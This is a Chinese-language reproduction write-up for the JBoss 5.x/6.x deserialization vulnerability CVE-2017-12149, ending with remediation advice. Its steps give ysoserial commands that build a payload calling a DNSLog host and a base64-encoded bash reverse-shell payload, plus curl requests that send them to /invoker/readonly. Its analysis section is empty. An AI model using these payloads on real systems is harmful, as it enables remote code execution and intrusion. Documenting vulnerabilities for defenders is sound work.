CVE-2017-12149(Jboss5.x/6.x远程代码执行)
1. 漏洞描述
JBOSS反序列化漏洞
JBoss是一个基于J2EE的开发源代码的应用服务器。是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
2. 默认端口
8080、9990
3. 利用条件
- 5.x和6.x版本的JBOSS
/invoker/readonly
接口未做限制或过滤(一般回显为500错误)
4. 漏洞复现
4.1 访问/invoker/readonly
显示为500
错误即为漏洞存在。
4.2 生成DNSLog序列化数据
1 | java -jar ysoserial-all.jar CommonsCollections6 "curl zq7l8t.dnslog.cn" > poc.ser |
4.3 发送DNSLog序列化数据
使用Burp发送不出序列化数据,可能是编码问题,所以这里使用curl
命令发送Post
请求。
1 | curl http://(ip):8080/invoker/readonly --data-binary @poc.ser |
4.4 生成反弹Shell序列化数据
1 | java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCBtaSA+Jia7ACE2L3RjcC8xMDEuNDIuMTc4LjE3NS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser |
4.5 发送反弹Shell序列化数据
1 | curl http://(ip):8080/invoker/readonly --data-binary @poc.ser |
5. 漏洞分析
…
6. 修复建议
修复原理:通过向http-invoker.sar
的web.xml
文件中的安全约束添加<url-pattern>
来保护对整个 http-invoker
上下文的访问,不想使用http-invoker.sar
可以将其删除。
修复方法:
- 修改
web.xml
文件- 进入
/jboss/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml
- 在安全约束中添加,就是在
security-constraint
里添加或修改 - 修改完成后,重启
jboss
服务,再次通过另一个虚拟机访问并且使用工具检测
- 进入
- 不需要
http-invoker.sar
组件的直接删除 - 升级
jboss
到最新版本